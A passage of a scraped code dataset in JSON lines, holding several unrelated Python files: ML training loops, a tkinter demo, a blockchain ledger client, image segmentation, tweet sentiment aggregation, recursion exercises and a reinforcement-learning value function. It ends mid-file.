model. Return accuracy and score'''\n score = MODEL.evaluate(X_TEST, Y_TEST, VERBOSE)\n test_score = score[0]\n test_accuracy = score[1]\n\n return test_score, test_accuracy\n\n\n\n\n\ndef run_mlp_tests (training_set, test_set, save_model_folder,\n batch_size,vocab_size_vector, sequence_length_vector, epoch_vector, loss_model, vectorization_type, validation_split, k_output_labels, isMajority_rule=True):\n\n if isinstance(vocab_size_vector,str):\n vocab_size_vector=[int(vocab_size_vector)]\n else:\n vocab_size_vector= list(map(int, vocab_size_vector))\n\n if isinstance(sequence_length_vector,str):\n sequence_length_vector=[int(sequence_length_vector)]\n else:\n sequence_length_vector= list(map(int, sequence_length_vector))\n\n if isinstance(vocab_size_vector,str):\n epoch_vector=[int(epoch_vector)]\n else:\n epoch_vector= list(map(int, epoch_vector))\n k_output_labels=int(k_output_labels)\n\n\n '''Function for running test and training with different combinations of vocab_size, sequence_lenghts and epochs'''\n for vocab_test in vocab_size_vector:\n for sequence_length_test in sequence_length_vector:\n for epoch_test in epoch_vector:\n\n\n\n MOD_DIR=train_mlp(TRAINING_SET = training_set,\n BATCH_SIZE=batch_size,\n VOCAB_SIZE=vocab_test,\n MAX_SEQUENCE_LENGTH =sequence_length_test,\n EPOCHS=epoch_test,\n FOLDER_TO_SAVE_MODEL=save_model_folder,\n LOSS_MODEL= loss_model,\n VECTORIZATION_TYPE= vectorization_type,\n VALIDATION_SPLIT = validation_split\n )\n\n print(\"Setter igang test\")\n try:\n test_mlp(test_set,MOD_DIR, k_output_labels, isMajority_rule)\n except ValueError:\n\n print(\"Noe gikk feil med testen, prøver på nytt\")\n test_mlp(test_set, MOD_DIR, k_output_labels, isMajority_rule)\n\n\n","sub_path":"MLP.py","file_name":"MLP.py","file_ext":"py","file_size_in_byte":11332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"169019700","text":"from tkinter import *\r\n\r\ndef changeColor(event):\r\n if(entName[\"fg\"] == \"blue\"):\r\n entName[\"fg\"] = \"red\"\r\n else:\r\n entName[\"fg\"] = \"blue\"\r\n\r\nwindow = Tk()\r\nwindow.title(\"Entry widget\")\r\nentName = Entry(window,fg=\"blue\")\r\nentName.grid(padx=100,pady=15)\r\nentName.bind(\"\",changeColor)\r\nwindow.mainloop()\r\n","sub_path":"entryWidget.py","file_name":"entryWidget.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"456058279","text":"import json\n\nfrom indy import ledger, signus\n\n\nclass Client:\n def __init__(self, pool_handle, wallet_handle):\n self._pool_handle = pool_handle\n self._wallet_handle = wallet_handle\n self._active_did = None\n\n async def use_did(self, did):\n self._active_did = did\n\n async def new_did(self, did=None, seed=None):\n did_params = {}\n if did:\n did_params['did'] = did\n if seed:\n did_params['seed'] = seed\n\n did, verkey, _ = \\\n await signus.create_and_store_my_did(self._wallet_handle,\n json.dumps(did_params))\n\n await self.use_did(did)\n\n return did, verkey\n\n async def send_nym(self, dest, verkey=None, role=None):\n nym_req_json = await ledger.build_nym_request(self._active_did,\n dest, verkey, None, role)\n await self._sign_and_submit_request(nym_req_json)\n\n async def send_get_nym(self, dest):\n get_nym_req_json = await ledger.build_get_nym_request(self._active_did,\n dest)\n return await self._submit_request(get_nym_req_json)\n\n async def _sign_and_submit_request(self, request_json):\n response_json = \\\n await ledger.sign_and_submit_request(self._pool_handle,\n self._wallet_handle,\n self._active_did,\n request_json)\n return Client._extract_result(response_json)\n\n async def _submit_request(self, request_json):\n response_json = await ledger.submit_request(self._pool_handle,\n request_json)\n return Client._extract_result(response_json)\n\n @staticmethod\n def _extract_result(response_json):\n response = json.loads(response_json)\n\n if 'result' in response and 'data' in response['result']:\n return json.loads(response['result']['data'])\n else:\n return None\n","sub_path":"acceptance/indy_acceptance/test/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"156386069","text":"import numpy as np\nfrom skimage.segmentation import random_walker\nfrom skimage import segmentation\nfrom math import sqrt\nimport scipy.misc\nimport math\nimport copy\n\nbeta = 30000\ntol = 0.02\nmode = 'bf'\n\nconstante = 5\n\n\ndef frw(image, ouro, individu, pasta, path, n, cr):\n numbMarkx = 0\n numbMarky = 0\n tamanho_individuo = len(individu)\n posX = [0] * tamanho_individuo\n posY = [0] * tamanho_individuo\n posX_origem = [0] * tamanho_individuo\n posY_origem = [0] * tamanho_individuo\n markers = np.zeros((image.shape[0], image.shape[1]))\n\n for item in individu:\n posX[numbMarkx] = item[0]\n posY[numbMarky] = item[1]\n posX_origem[numbMarkx] = item[0]\n posY_origem[numbMarky] = item[1]\n numbMarkx = numbMarkx + 1\n numbMarky = numbMarky + 1\n\n posX = list(map(lambda x: x/float(image.shape[0]), posX))\n posY = list(map(lambda x: x/float(image.shape[1]), posY))\n\n xm = 0\n ym = 0\n desviox = 0\n desvioy = 0\n constantex = 1\n constantey = 1\n\n for x in range(0, numbMarkx):\n xm = xm + posX[x]\n xm = xm / numbMarkx\n\n for y in range(0, numbMarky):\n ym = ym + posY[y]\n ym = ym / numbMarky\n\n somadorx = 0\n\n for x in range(0, numbMarkx):\n somadorx = somadorx + (math.pow((posX[x] - xm), 2))\n desviox = sqrt(somadorx / float(numbMarkx-1))\n somadory = 0\n\n for y in range(0, numbMarky):\n somadory = somadory + (math.pow((posY[y] - ym), 2))\n\n desvioy = sqrt(somadory / float(numbMarky-1))\n\n imageShape = np.ones((image.shape[0], image.shape[1]))\n\n for x in range(0, image.shape[0]):\n for y in range(0, image.shape[1]):\n x_n = x/float(image.shape[0])\n y_n = y/float(image.shape[1])\n try:\n imageShape[x, y] = \\\n math.exp(((-1)*math.pow((x_n-xm), 2)) / float(\n 2 * constantex * desviox) + ((-1) * math.pow(\n (y_n-ym), 2))/float(2*constantey*desvioy))\n except:\n imageShape[x, y] = \\\n math.exp(((-1)*math.pow((x_n-xm), 2)) / float(\n 2 * constantex * 1) + ((-1) * math.pow(\n (y_n-ym), 2))/float(2*constantey*1))\n\n copia = copy.deepcopy(image)\n\n for x in range(0, image.shape[0]):\n for y in range(0, image.shape[1]):\n if(imageShape[x, y] > 0.5):\n copia[x, y] = 1\n else:\n copia[x, y] = 0\n\n for x in range(0, image.shape[0]):\n for y in range(0, image.shape[1]):\n val2 = copia[x, y]\n if val2 == 0:\n markers[x][y] = 2\n\n for pos in range(0, tamanho_individuo):\n markers[posX_origem[pos]][posY_origem[pos]] = 1\n\n labels_rw = random_walker(image,\n markers,\n beta=beta, tol=tol, mode=mode)\n contorno_ouro = \\\n segmentation.mark_boundaries(image, ouro,\n color=(0, 0, 0))\n contorno = \\\n segmentation.mark_boundaries(contorno_ouro,\n labels_rw,\n color=(0, 1, 0))\n scipy.misc.imsave('resultados_de/'+str(pasta) +\n '/images/'+path+'-'+str(cr) +\n '-'+str(n)+'-'+str(tamanho_individuo) +\n '_seg.bmp', contorno)\n labels_rw = (2-labels_rw)\n\n TP = sum((labels_rw == 1) & (ouro == 255))\n somaTP = sum(TP)\n FN = sum((labels_rw == 0) & (ouro == 255))\n\n FP = sum((labels_rw == 1) & (ouro == 0))\n somaFN = sum(FN)\n somaFP = sum(FP)\n\n Jaccard = somaTP/float(somaTP + somaFN + somaFP)\n\n return Jaccard\n","sub_path":"evolucao/frw.py","file_name":"frw.py","file_ext":"py","file_size_in_byte":3722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"84309846","text":"import pandas as pd \nimport sqlite3 as db\nimport numpy as np\nimport us\n\n\ndatabase = \"all_data\"\n#type of the data is always cc (#commoncore) or ccr (\"college and career readiness\")\ntype_data = \"ccr\"\ntable_from = type_data\ntable_to = type_data + \"_time_aggregated\"\n\ncon = db.connect(database)\nc = con.cursor()\nold_df = pd.read_sql(\"SELECT * from \" + table_from, con)\n\nstart_time = \"2017\"\nend_time = \"2019\"\n\n#make the cols for the time aggregated sentiment df\ntime_ag_df = pd.DataFrame(\n\tindex = pd.date_range(start=start_time, end=end_time, freq = \"M\").to_period(\"M\"), \n\tcolumns = ['sentiment'])\n\n#make sure we're using full tweets (not deleted ones -- see README)\nold_df = old_df[(old_df['deleted'] == 0) & (old_df['source'] != 'historical')]\n\n#just using public policy data for now:\nold_df = old_df[old_df['source'] == \"public policy\"]\n\nold_df['created_at'] = pd.to_datetime(old_df['created_at']).dt.to_period('M')\n\n#and then of the full tweets, make sure there aren't duplicates; since Prof. Rice's data doesn't have \n#indices we just check time created and text of the tweet to see if they're the same\nold_df.drop_duplicates(subset=['created_at', 'tweet'], keep='first', inplace=True)\n\ntime_ag_df['sentiment'] = old_df.groupby(['created_at'])['sentiment_textblob'].mean()\n\n\ntime_ag_df.insert(0, 'date', value = 0)\n\ntime_ag_df['date'] = time_ag_df.index\n\ntime_ag_df['date'] = time_ag_df['date'].apply(str)\n\ntime_ag_df.dropna(inplace = True)\n\nc.execute(\"DROP TABLE IF EXISTS %s\" % table_to)\ntime_ag_df.to_sql(table_to, con, index = False)\ncon.close()\n\ntime_ag_df.to_csv(table_to + \".csv\")\n\n","sub_path":"organize_for_overtime_graph.py","file_name":"organize_for_overtime_graph.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"474039822","text":"# coding: utf-8\n\n\"\"\"\n Sawtooth REST API\n\n _This HTTP pragmatic REST API is built on top of Sawtooth's existing ZMQ/Protobuf infrastructure, simplifying client interaction with the blockchain by exposing endpoints that use common HTTP/JSON standards._ # noqa: E501\n\n OpenAPI spec version: 0.8.0\n \n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\nfrom swagger_client.models.transaction_receipt_events import TransactionReceiptEvents # noqa: F401,E501\nfrom swagger_client.models.transaction_receipt_state_changes import TransactionReceiptStateChanges # noqa: F401,E501\n\n\nclass TransactionReceipt(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'transaction_id': 'str',\n 'state_changes': 'list[TransactionReceiptStateChanges]',\n 'events': 'list[TransactionReceiptEvents]',\n 'data': 'list[str]'\n }\n\n attribute_map = {\n 'transaction_id': 'transaction_id',\n 'state_changes': 'state_changes',\n 'events': 'events',\n 'data': 'data'\n }\n\n def __init__(self, transaction_id=None, state_changes=None, events=None, data=None): # noqa: E501\n \"\"\"TransactionReceipt - a model defined in Swagger\"\"\" # noqa: E501\n\n self._transaction_id = None\n self._state_changes = None\n self._events = None\n self._data = None\n self.discriminator = None\n\n if transaction_id is not None:\n self.transaction_id = transaction_id\n if state_changes is not None:\n self.state_changes = state_changes\n if events is not None:\n self.events = events\n if data is not None:\n self.data = data\n\n @property\n def transaction_id(self):\n \"\"\"Gets the transaction_id of this TransactionReceipt. # noqa: E501\n\n\n :return: The transaction_id of this TransactionReceipt. # noqa: E501\n :rtype: str\n \"\"\"\n return self._transaction_id\n\n @transaction_id.setter\n def transaction_id(self, transaction_id):\n \"\"\"Sets the transaction_id of this TransactionReceipt.\n\n\n :param transaction_id: The transaction_id of this TransactionReceipt. # noqa: E501\n :type: str\n \"\"\"\n\n self._transaction_id = transaction_id\n\n @property\n def state_changes(self):\n \"\"\"Gets the state_changes of this TransactionReceipt. # noqa: E501\n\n\n :return: The state_changes of this TransactionReceipt. # noqa: E501\n :rtype: list[TransactionReceiptStateChanges]\n \"\"\"\n return self._state_changes\n\n @state_changes.setter\n def state_changes(self, state_changes):\n \"\"\"Sets the state_changes of this TransactionReceipt.\n\n\n :param state_changes: The state_changes of this TransactionReceipt. # noqa: E501\n :type: list[TransactionReceiptStateChanges]\n \"\"\"\n\n self._state_changes = state_changes\n\n @property\n def events(self):\n \"\"\"Gets the events of this TransactionReceipt. # noqa: E501\n\n\n :return: The events of this TransactionReceipt. # noqa: E501\n :rtype: list[TransactionReceiptEvents]\n \"\"\"\n return self._events\n\n @events.setter\n def events(self, events):\n \"\"\"Sets the events of this TransactionReceipt.\n\n\n :param events: The events of this TransactionReceipt. # noqa: E501\n :type: list[TransactionReceiptEvents]\n \"\"\"\n\n self._events = events\n\n @property\n def data(self):\n \"\"\"Gets the data of this TransactionReceipt. # noqa: E501\n\n\n :return: The data of this TransactionReceipt. # noqa: E501\n :rtype: list[str]\n \"\"\"\n return self._data\n\n @data.setter\n def data(self, data):\n \"\"\"Sets the data of this TransactionReceipt.\n\n\n :param data: The data of this TransactionReceipt. # noqa: E501\n :type: list[str]\n \"\"\"\n\n self._data = data\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, TransactionReceipt):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"sawtooth/models/transaction_receipt.py","file_name":"transaction_receipt.py","file_ext":"py","file_size_in_byte":5699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"235649522","text":"\"\"\"Дано натуральное число n. Выведите все числа от 1 до n.\"\"\"\nimport random\n\ntmp_num = random.randint(1, 20)\nprint('n = ' + str(tmp_num))\n\n\ndef fun_rec1(a, b=1):\n if b > a:\n print('\\n')\n return 0\n else:\n print(b, end=' ')\n return fun_rec1(a, b + 1)\n\n\nfun_rec1(tmp_num)\n\n'''Даны два целых числа A и В (каждое в отдельной строке).\nВыведите все числа от A до B включительно, в порядке возрастания, если A < B,\nили в порядке убывания в противном случае.'''\ntmp_a = random.randint(-20, 20)\ntmp_b = random.randint(-20, 20)\nprint('a = ' + str(tmp_a) + ', b = ' + str(tmp_b))\n\nif tmp_a < tmp_b:\n def fun_rec2(a, b):\n if a <= b:\n print(a, end=' ')\n return fun_rec2(a + 1, b)\n else:\n return 0\nelse:\n def fun_rec2(a, b):\n if b <= a:\n print(a, end=' ')\n return fun_rec2(a - 1, b)\n else:\n return 0\n\nfun_rec2(tmp_a, tmp_b)\n","sub_path":"ITVDN/PythonStarterLesson6/TasksRecursion.py","file_name":"TasksRecursion.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"410159475","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.distributions import MultivariateNormal\n\n\"\"\"\ndiscrete version is not implement yet\n\"\"\"\nclass Policy_Net(nn.Module):\n \"\"\"\n policy network\n \"\"\"\n \n def __init__(self, env, hidden=100):\n super(Policy_Net, self).__init__()\n self.env = env\n #for gym\n self.space_dim = env.observation_space.shape[0]\n self.action_dim = env.action_space.shape[0]\n #for suite\n #self.space_dim = env.observation_spec()['observations'].shape[0]\n #self.action_dim = env.action_spec().shape[0] \n \n self.linear1 = nn.Linear(self.space_dim, hidden)\n self.linear2 = nn.Linear(hidden, hidden)\n self.mean = nn.Linear(hidden, self.action_dim)\n self.cholesky = nn.Linear(hidden, (self.action_dim * (self.action_dim + 1)) //2)\n \n \n def forward(self, state):\n device = state.device\n \n # not in paper\n x = F.relu(self.linear1(state))\n x = F.relu(self.linear2(x))\n \n #x = self.linear1(state)\n #x = self.linear2(x)\n \n #############for gym###########################\n # not in paper\n action_low = torch.from_numpy(self.env.action_space.low)[None, ...].to(device) # (1, da)\n action_high = torch.from_numpy(self.env.action_space.high)[None, ...].to(device) # (1, da)\n mean = torch.sigmoid(self.mean(x)) # (B, da)\n mean = action_low + (action_high - action_low) * mean\n ###############################################\n \n \"\"\"\n ##############for suite########################\n # not in paper\n action_low = torch.from_numpy(self.env.action_spec().minimum)[None, ...].to(device) # (1, da)\n action_high = torch.from_numpy(self.env.action_spec().maximum)[None, ...].to(device) # (1, da)\n mean = torch.sigmoid(self.mean(x)) # (B, da)\n mean = action_low + (action_high - action_low) * mean\n ###############################################\n \"\"\"\n mean = self.mean(x)\n # build a positive diagonal lower triangular matrix\n cholesky_vector = self.cholesky(x)\n cholesky_diag_index = torch.arange(self.action_dim, dtype=torch.long) + 1\n cholesky_diag_index = (cholesky_diag_index * (cholesky_diag_index + 1)) // 2 - 1\n cholesky_vector[:, cholesky_diag_index] = F.softplus(cholesky_vector[:, cholesky_diag_index])\n tril_indices = torch.tril_indices(row=self.action_dim, col=self.action_dim, offset=0)\n cholesky = torch.zeros(size=(state.size(0), self.action_dim, self.action_dim), dtype=torch.float32).to(device)\n cholesky[:, tril_indices[0], tril_indices[1]] = cholesky_vector\n \"\"\"\n tril_indices = torch.tril_indices(row=self.action_dim, col=self.action_dim, offset=0)\n cholesky = torch.zeros(size=(state.size(0), self.action_dim, self.action_dim), dtype=torch.float32).to(device)\n cholesky[:, tril_indices[0], tril_indices[1]] = cholesky_vector\n for i in range(self.action_dim):\n cholesky[:,i,i] = F.softplus(cholesky[:,i,i])\n \"\"\"\n return mean, cholesky\n \n \n def action(self, state):\n with torch.no_grad():\n mean, cholesky = self.forward(state[None, ...])\n action = MultivariateNormal(mean, scale_tril=cholesky)\n sample_action = action.sample()\n \n return sample_action[0]","sub_path":"my_mpo/policy.py","file_name":"policy.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"451165486","text":"from time import time\n\n\ndef ismultiple(i):\n if i % 3 ==0 or i % 5 ==0:\n return True\n return False\n\nstart = time()\nprint(sum([n for n in range(1000) if ismultiple(n)]))\n#print(sum(i for i in range(1000) if (i % 3 == 0) or (i % 5 == 0)))\nprint(\"Python: Elapsed Time = %f seconds\" % (time() - start))","sub_path":"001.Multiples of 3 and 5/Multiples.py","file_name":"Multiples.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"223858855","text":"import numpy as np\nfrom productTools.toolsScripts.zonalStatistics import getProductLocation\nfrom rasterstats import point_query\nfrom shapely.geometry import Point\nimport os\n\ndef getCoordinatesAlongLine(p0, p1, resolution):\n ## Get single coordinates from pairs.\n x0 = float(p0[0])\n y0 = float(p0[1])\n x1 = float(p1[0])\n y1 = float(p1[1])\n\n ## Get length of the line and calculate the number of point to extract values at based on the resolution of the dataset.\n length = int(np.hypot(y1 - y0, x1 - x0))\n num = int(length / resolution)\n ## Coordinate pairs along profile to extract values at.\n x, y = np.linspace(x0, x1, num), np.linspace(y0, y1, num)\n ress = []\n\n for xx, yy in zip(x, y):\n ress.append([xx, yy])\n\n return ress\n\n\n\ndef getProfileChart(product, dates, length, resolution, line):\n ## Get coordinates along line to get the values at.\n coordinates = getCoordinatesAlongLine(line[0], line[1], resolution)\n productLocation = getProductLocation(product)\n productLocation = f'{productLocation}/{dates}/{product}'\n rasters = os.listdir(productLocation)\n for j in rasters:\n if j.endswith('vrt'):\n raster = j\n\n timeseries = {\"datasets\": []}\n data = []\n\n i = 0\n for point in coordinates:\n pt = Point(point[0], point[1])\n try:\n productValue = point_query([pt], f'{productLocation}/{raster}')\n productValue = np.round(productValue, 2)[0]\n except TypeError as e:\n print(e)\n productValue = None\n data.append({\"x\": i, \"y\": productValue})\n i += 1\n timeseries[\"datasets\"].append({\"fid\": 0, \"label\": f'{product}, {dates}', \"data\": data})\n return timeseries\n\nif __name__ == '__main__':\n pass\n","sub_path":"productTools/toolsScripts/profileChart.py","file_name":"profileChart.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"273569639","text":"from LearningAgent import LearningAgent\nfrom Action import Action\nfrom Environment import Environment\nfrom Path import Path\nfrom ReplayBuffer import SimpleReplayBuffer, PrioritizedReplayBuffer\nfrom Experience import Experience\nfrom CentralAgent import CentralAgent\nfrom Request import Request\nfrom Experience import Experience\nimport Settings\nimport Util\n\nfrom typing import List, Tuple, Deque, Dict, Any, Iterable\n\nfrom abc import ABC, abstractmethod\nfrom collections import deque\nimport numpy as np\nfrom itertools import repeat\nfrom copy import deepcopy\nfrom os.path import isfile, isdir\nfrom os import makedirs\nimport copy\nimport pickle\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import TensorDataset, DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\nimport pytorch_lightning as pl\nfrom pytorch_lightning.callbacks import ModelCheckpoint\n\nclass WeightedMSELoss(nn.Module):\n def __init__(self, weights=None, size_average=True):\n super(WeightedMSELoss, self).__init__()\n self.weights = weights\n\n def forward(self, inputs, targets):\n self.weights = self.weights.to(inputs.device)\n return (self.weights * (inputs - targets) ** 2).mean()\n\n\nclass ValueFunction(ABC):\n \"\"\"docstring for ValueFunction\"\"\"\n\n def __init__(self, log_dir: str=\"../logs/ValueFunctionLogs/\"):\n super(ValueFunction, self).__init__()\n\n # Write logs\n log_dir = log_dir + type(self).__name__ + '/'\n if not isdir(log_dir):\n makedirs(log_dir)\n self.writer = SummaryWriter(log_dir)\n\n def add_to_logs(self, tag: str, value: float, step: int) -> None:\n self.writer.add_scalar(tag, value, step)\n self.writer.close()\n\n @abstractmethod\n def get_value(self, experiences: List[Experience]) -> List[List[Tuple[Action, float]]]:\n raise NotImplementedError\n\n @abstractmethod\n def update(self, central_agent: CentralAgent):\n raise NotImplementedError\n\n @abstractmethod\n def remember(self, experience: Experience):\n raise NotImplementedError\n\nclass NeuralNetworkBased(ValueFunction):\n \"\"\"docstring for NeuralNetwork\"\"\"\n\n def __init__(self, envt: Environment, load_model_loc: str, log_dir: str=\"../logs/ValueFunctionLogs/\", GAMMA: float=-1, BATCH_SIZE_FIT: int=32, BATCH_SIZE_PREDICT: int=8192, TARGET_UPDATE_TAU: float=0.1):\n super(NeuralNetworkBased, self).__init__(log_dir)\n\n # Initialise Constants\n self.envt = envt\n self.GAMMA = GAMMA if GAMMA != -1 else (1 - (0.1 * 60 / self.envt.EPOCH_LENGTH))\n self.BATCH_SIZE_FIT = BATCH_SIZE_FIT\n self.BATCH_SIZE_PREDICT = BATCH_SIZE_PREDICT\n self.TARGET_UPDATE_TAU = TARGET_UPDATE_TAU\n self.load_model_loc = load_model_loc\n\n self._epoch_id = 0\n\n # Get Replay Buffer\n MIN_LEN_REPLAY_BUFFER = 1e6 / self.envt.NUM_AGENTS\n epochs_in_episode = (self.envt.STOP_EPOCH - self.envt.START_EPOCH) / self.envt.EPOCH_LENGTH\n len_replay_buffer = max((MIN_LEN_REPLAY_BUFFER, epochs_in_episode))\n self.replay_buffer = PrioritizedReplayBuffer(MAX_LEN=int(len_replay_buffer))\n\n # Get NN Model\n self.model = self._init_NN()\n # Get target-NN\n self.target_model = copy.deepcopy(self.model)\n\n self.trainer = pl.Trainer(default_root_dir=\"../models/\",\n log_every_n_steps=5,\n deterministic = True,\n gpus=1 if torch.cuda.is_available() else 0,\n max_epochs=1)\n\n # Essentially weighted average between weights\n def _soft_update_function(self, target_model, source_model):\n target_weights = [p for p in target_model.parameters() if p.requires_grad]\n source_weights = [p for p in source_model.parameters() if p.requires_grad]\n\n updates = []\n for target_weight, source_weight in zip(target_weights, source_weights):\n target_weight = self.TARGET_UPDATE_TAU * source_weight + (1. - self.TARGET_UPDATE_TAU) * target_weight\n\n @abstractmethod\n def _init_NN(self, num_locs: int):\n raise NotImplementedError()\n\n @abstractmethod\n def _format_input_batch(self, agents: List[List[LearningAgent]], current_time: float, num_requests: int):\n raise NotImplementedError\n\n def _get_input_batch_next_state(self, experience: Experience) -> Dict[str, np.ndarray]:\n # Move agents to next states\n all_agents_post_actions = []\n agent_num = 0\n for agent, feasible_actions in zip(experience.agents, experience.feasible_actions_all_agents):\n agents_post_actions = []\n for action in feasible_actions:\n # Moving agent according to feasible action\n agent_next_time = deepcopy(agent)\n assert action.new_path\n agent_next_time.profit=Util.change_profit(self.envt,action)+self.envt.driver_profits[agent_num]\n agent_next_time.path = deepcopy(action.new_path)\n self.envt.simulate_motion([agent_next_time], rebalance=False)\n\n agents_post_actions.append(agent_next_time)\n all_agents_post_actions.append(agents_post_actions)\n agent_num+=1\n\n next_time = experience.time + self.envt.EPOCH_LENGTH\n\n # Return formatted inputs of these agents\n return self._format_input_batch(all_agents_post_actions, next_time, experience.num_requests)\n\n def _flatten_NN_input(self, NN_input: Dict[str, np.ndarray]) -> Tuple[np.ndarray, List[int]]:\n shape_info: List[int] = []\n\n for key, value in NN_input.items():\n # Remember the shape information of the inputs\n if not shape_info:\n cumulative_sum = 0\n shape_info.append(cumulative_sum)\n for idx, list_el in enumerate(value):\n cumulative_sum += len(list_el)\n shape_info.append(cumulative_sum)\n\n # Reshape\n NN_input[key] = np.array([element for array in value for element in array])\n\n return NN_input, shape_info\n\n def _reconstruct_NN_output(self, NN_output: np.ndarray, shape_info: List[int]) -> List[List[int]]:\n # Flatten output\n NN_output = NN_output.flatten()\n\n # Reshape\n assert shape_info\n output_as_list = []\n for idx in range(len(shape_info) - 1):\n start_idx = shape_info[idx]\n end_idx = shape_info[idx + 1]\n list_el = NN_output[start_idx:end_idx].tolist()\n output_as_list.append(list_el)\n\n return output_as_list\n\n def _format_experiences(self, experiences: List[Experience], is_current: bool) -> Tuple[Dict[str, np.ndarray], List[int]]:\n action_inputs_all_agents = None\n for experience in experiences:\n # If experience hasn't been formatted, format it\n if not (self.__class__.__name__ in experience.representation):\n experience.representation[self.__class__.__name__] = self._get_input_batch_next_state(experience)\n\n if is_current:\n batch_input = self._format_input_batch([[agent] for agent in experience.agents], experience.time, experience.num_requests)\n else:\n batch_input = deepcopy(experience.representation[self.__class__.__name__])\n\n if action_inputs_all_agents is None:\n action_inputs_all_agents = batch_input\n else:\n for key, value in batch_input.items():\n action_inputs_all_agents[key].extend(value)\n assert action_inputs_all_agents is not None\n\n return self._flatten_NN_input(action_inputs_all_agents)\n\n def get_value(self, experiences: List[Experience], network=None) -> List[List[Tuple[Action, float]]]:\n # Format experiences\n action_inputs_all_agents, shape_info = self._format_experiences(experiences, is_current=False)\n values = list(action_inputs_all_agents.values())[:-1]\n test_data = torch.tensor(np.hstack([values[0], values[1].squeeze(), np.expand_dims(values[2], axis=1), np.expand_dims(values[3], axis=1), np.expand_dims(values[4], axis=1)]))\n # Score experiences\n if (network is None):\n expected_future_values_all_agents = self.model(test_data)\n else:\n expected_future_values_all_agents = network(test_data)\n\n # Format output\n expected_future_values_all_agents = self._reconstruct_NN_output(expected_future_values_all_agents, shape_info)\n\n # Get Q-values by adding associated rewards\n def get_score(action: Action, value: float, driver_num: int):\n return self.envt.get_reward(action,driver_num) + self.GAMMA * value\n\n\n driver_num = 0\n feasible_actions_all_agents = [feasible_actions for experience in experiences for feasible_actions in experience.feasible_actions_all_agents]\n\n scored_actions_all_agents: List[List[Tuple[Action, float]]] = []\n for expected_future_values, feasible_actions in zip(expected_future_values_all_agents, feasible_actions_all_agents):\n scored_actions = [(action, get_score(action, value,driver_num)) for action, value in zip(feasible_actions, expected_future_values)]\n scored_actions_all_agents.append(scored_actions)\n driver_num+=1\n driver_num%=self.envt.NUM_AGENTS\n\n return scored_actions_all_agents\n\n def remember(self, experience: Experience):\n self.replay_buffer.add(experience)\n\n def update(self, central_agent: CentralAgent, num_samples: int = 3):\n # Check if replay buffer has enough samples for an update\n # Epochs we need\n num_min_train_samples = int(5e5 / self.envt.NUM_AGENTS)\n if (num_min_train_samples > len(self.replay_buffer)):\n return\n\n # SAMPLE FROM REPLAY BUFFER\n if isinstance(self.replay_buffer, PrioritizedReplayBuffer):\n # TODO: Implement Beta Scheduler\n beta = min(1, 0.4 + 0.6 * (self.envt.num_days_trained / 200.0))\n experiences, weights, batch_idxes = self.replay_buffer.sample(num_samples, beta)\n else:\n experiences = self.replay_buffer.sample(num_samples)\n weights = None\n\n # ITERATIVELY UPDATE POLICY BASED ON SAMPLE\n for experience_idx, (experience, batch_idx) in enumerate(zip(experiences, batch_idxes)):\n # Flatten experiences and associate weight of batch with every flattened experience\n if weights is not None:\n weights = np.array([weights[experience_idx]] * self.envt.NUM_AGENTS)\n\n # GET TD-TARGET\n # Score experiences\n # So now we have, for each agent, a list of actions with their score, and we'll run an ILP over this\n scored_actions_all_agents = self.get_value([experience], network=self.target_model) # type: ignore\n\n # Run ILP on these experiences to get expected value at next time step\n value_next_state = []\n for idx in range(0, len(scored_actions_all_agents), self.envt.NUM_AGENTS):\n final_actions = central_agent.choose_actions(scored_actions_all_agents[idx:idx + self.envt.NUM_AGENTS], is_training=False)\n value_next_state.extend([score for _, score in final_actions])\n\n supervised_targets = np.array(value_next_state).reshape((-1, 1))\n\n # So we want to predict, from \"action_inputs_all_agents\", predict the \"supervised_targets\"\n # Supervised targets is the values chosen, which is from scores + 